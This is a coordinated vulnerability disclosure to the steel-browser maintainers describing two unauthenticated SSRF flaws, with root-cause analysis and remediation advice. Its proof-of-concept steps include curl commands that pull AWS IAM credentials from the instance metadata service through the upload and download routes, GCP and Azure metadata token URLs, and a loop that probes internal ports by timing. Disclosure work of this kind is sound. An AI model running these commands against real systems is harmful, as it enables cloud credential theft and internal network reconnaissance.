Coordinated Vulnerability Disclosure - steel-browser

Author: kdalal-vulncheckCreated Jun 10, 2026Updated Aug 22, 2026

I’m a Vulnerability Analyst at VulnCheck, an exploit intelligence company and research CVE Numbering Authority (CNA), where I'm one of several folks who manage our coordinated vulnerability disclosure (CVD) program.

An external security researcher recently reported two vulnerabilities (https://www.vulncheck.com/advisories/report) impacting the steel-browser and VulnCheck is acting as the intermediary and coordinator.

We are interested in determining whether you all are able to reproduce this issue and whether you agree with the researcher's assessment of the overall security impact. For context, these vulnerabilities were discovered via static analysis of the project's source code.

VulnCheck follows a 120-day disclosure policy (https://www.vulncheck.com/vulnerability-disclosure-policy), meaning we afford vendors/maintainers up to 120 days from the time of receiving the report to address the issues before publication of CVE records and third-party advisories. For this vulnerability, the 120-day deadline falls on October 8, 2026.

The following CVE IDs has been provisionally reserved for reference purposes. Reservation does not constitute publication - the IDs will remain in a non-public RESERVED state with no technical details visible in the CVE database until we have aligned on CVE-eligibility, disclosure details, and a timeline, or until the 120-day coordinated disclosure window closes.

We have provisionally allocated the following CVE ID, which have been shared with the researcher but will remain private until public disclosure:

CVE-2026-11947 - Unauthenticated SSRF with Full Response Exfiltration in File Upload Endpoint CVE-2026-11948 - Blind SSRF via Unvalidated logUrl in Action Endpoints

Please be aware that none of this information is public at this moment and all parties involved are considered under embargo. The researcher has provided us with a comprehensive technical report, which is attached below.

If interested in VulnCheck's previous disclosures, you may find those here(https://www.vulncheck.com/advisories).

Let us know if you have any questions for us about the CVD process or for the researcher regarding the reported vulnerabilities.


Vuln 1 - Unauthenticated SSRF with Full Response Exfiltration in File Upload Endpoint Vulnerability Report Package Not specified in submission Tested Version Not specified in submission Affected File api/src/modules/files/files.controller.ts Affected Lines 131 (handleFileUpload), 159-190 (createStreamFromUrl) CWE CWE-918: Server-Side Request Forgery (SSRF); CWE-306: Missing Authentication CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N (estimated 9.3 Critical)

Affected Files api/src/modules/files/files.controller.ts Line 131 handleFileUpload() -- passes attacker-controlled URL to createStreamFromUrl() Lines 159-190 createStreamFromUrl() -- raw http.get/https.get with no validation

Root Cause When the multipart file form field contains a text string instead of binary data, handleFileUpload() treats it as a URL and passes it directly to createStreamFromUrl() at line 131. createStreamFromUrl() performs a raw http.get() or https.get() call with no scheme restriction, no hostname allowlist, and no block on link-local or loopback ranges. The response body is streamed in full to disk via saveFile(). A separate download route, also carrying no authentication middleware, serves the saved file back to the caller. No authentication is applied to any route in the application.

Proof of Concept Step 1 — Confirm API is reachable curl http://:3000/v1/sessions

Step 2 -- Fetch IMDSv1 role index curl -X POST http://:3000/v1/sessions/any/files
-F "file=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
-F "path=creds_index.txt" Server response: {"path":"/files/creds_index.txt","size":32,"lastModified":"2025-..."}

Step 3 -- Read role name from saved file curl http://:3000/v1/sessions/any/files/creds_index.txt Response body: my-ec2-role

Step 4 -- Exfiltrate IAM credentials for discovered role curl -X POST http://:3000/v1/sessions/any/files
-F "file=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role"
-F "path=creds.json"

curl http://:3000/v1/sessions/any/files/creds.json

Confirmed output { "Code": "Success", "Type": "AWS-HMAC", "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2025-..." }

Additional confirmed vectors • GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (with Metadata-Flavor: Google header via http.get options form) • Azure IMDS: http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01 • Any internal HTTP service reachable from the container network

Impact An unauthenticated attacker with network access to the API port can exfiltrate the full response body of any internal HTTP service reachable from the container, including cloud instance metadata endpoints. On AWS, GCP, and Azure deployments, this yields the instance's IAM or service account credentials in two HTTP requests, enabling full lateral movement within the cloud account. The impact is persistent for the lifetime of the vended credential token. No prior authentication, account, or session is required. The combination of the unauthenticated upload route (SSRF primitive) and the unauthenticated download route (exfiltration primitive) makes this a self-contained pre-authentication credential theft chain requiring zero interaction from a legitimate user.

Suggested Remediation • Add authentication (API key or mTLS) to all routes. The entire API is currently unauthenticated; this is a precondition for all attack variants. • In createStreamFromUrl(), validate the URL scheme (allow https only) and reject requests to link-local ranges (169.254.0.0/16), loopback (127.0.0.0/8, [::1]), and RFC 1918 private ranges before making any outbound request. • Prefer a URL allowlist over a denylist; denylist-based SSRF controls are routinely bypassed via IPv6, decimal IP encoding, DNS rebinding, and redirect chains. • Resolve the target hostname to an IP address before making the request and re-validate the resolved IP against the block list to prevent DNS rebinding attacks.


Vuln 2 - Blind SSRF via Unvalidated logUrl in Action Endpoints

Vulnerability Report Package Not specified in submission Tested Version Not specified in submission Affected Files api/src/modules/actions/actions.schema.ts; api/src/utils/logging.ts; api/src/modules/actions/actions.controller.ts Affected Lines actions.schema.ts:17-18, 69-70, 84-85, 96-97; logging.ts:updateLog() CWE CWE-918: Server-Side Request Forgery (SSRF); CWE-306: Missing Authentication CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N (estimated 7.2 High)

Affected Files api/src/modules/actions/actions.schema.ts Lines 17-18, 69-70, 84-85, 96-97 logUrl declared as z.string().optional() across all action schemas

api/src/utils/logging.ts updateLog() issues raw fetch(logUrl, { method: 'PUT' }) with no host or scheme validation

api/src/modules/actions/actions.controller.ts Both success and error paths call updateLog(logUrl, { times }) when logUrl is present

Root Cause All four action endpoints accept an optional logUrl field in the request body. The field is declared in actions.schema.ts as z.string().optional() with no .url() refinement and no hostname validation. After each action completes (success or error), actions.controller.ts calls updateLog(logUrl, { times }) unconditionally when logUrl is present. updateLog() in logging.ts performs a raw fetch() with method PUT and Content-Type: application/json directly to the caller-supplied URL with no scheme restriction, no allowlist, and no block on link-local or RFC-1918 addresses. No authentication middleware is applied to any route.

Proof of Concept Step 1 -- Confirm server-initiated outbound request nc -lvp 8888

Step 2 -- Trigger blind SSRF via scrape action curl -X POST http://:3000/v1/scrape
-H "Content-Type: application/json"
-d '{ "url": "https://example.com", "logUrl": "http://169.254.169.254/latest/meta-data/" }' The Steel server issues PUT http://169.254.169.254/latest/meta-data/ with body {"times":{"totalInstanceTime":...}}. The PUT request reaches the IMDS endpoint server-side; the response is not forwarded to the caller.

Step 3 -- Internal port enumeration via timing oracle for port in 80 443 8080 8443 9200 5432 6379 27017; do time curl -X POST http://:3000/v1/screenshot
-H "Content-Type: application/json"
-d "{"url":"https://example.com\",\"logUrl\":\"http://10.0.0.1:${port}/\"}" done ECONNREFUSED returns faster than ETIMEDOUT. Response time differences reliably distinguish open from closed internal ports, enabling full network topology enumeration.

Step 4 -- PUT to internal APIs Any internal service that honors PUT semantics on an arbitrary path with Content-Type: application/json can receive attacker-directed requests. The fixed body {"times":{"totalInstanceTime":N}} is benign in isolation but the PUT itself can create or overwrite resources depending on the target service's implementation.

Impact An unauthenticated attacker with network access to the API port can cause the Steel server to issue PUT requests to any HTTP address reachable from its container. This enables full internal port and service enumeration via response timing side-channels, state-changing interactions with internal HTTP APIs that honor PUT semantics, and interaction with cloud metadata services. AWS IMDSv1 at 169.254.169.254 responds to PUT requests as part of IMDSv2 token initialization, providing a further chaining primitive on cloud-hosted deployments. The response body is not returned to the attacker (blind), limiting direct credential exfiltration, but the network-level reach and state-mutation capability represent significant lateral movement risk. No authentication or prior session is required for any of these vectors.

Suggested Remediation • Add authentication (API key or mTLS) to all routes. • In updateLog() or in the logUrl schema definition, validate that the value is an absolute HTTPS URL whose resolved hostname is not in RFC-1918 space (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), or loopback (127.0.0.0/8, [::1]) before issuing the fetch. Resolve the hostname to an IP address and re-validate the IP to prevent DNS rebinding bypass. • Consider removing logUrl from the public API entirely. The submission notes that the analogous logSinkUrl field in the sessions schema is already marked Deprecated, suggesting the webhook callback feature may be vestigial and not required for production use. • If logUrl must be retained, scope it to an allowlist of known-safe callback hostnames rather than a denylist.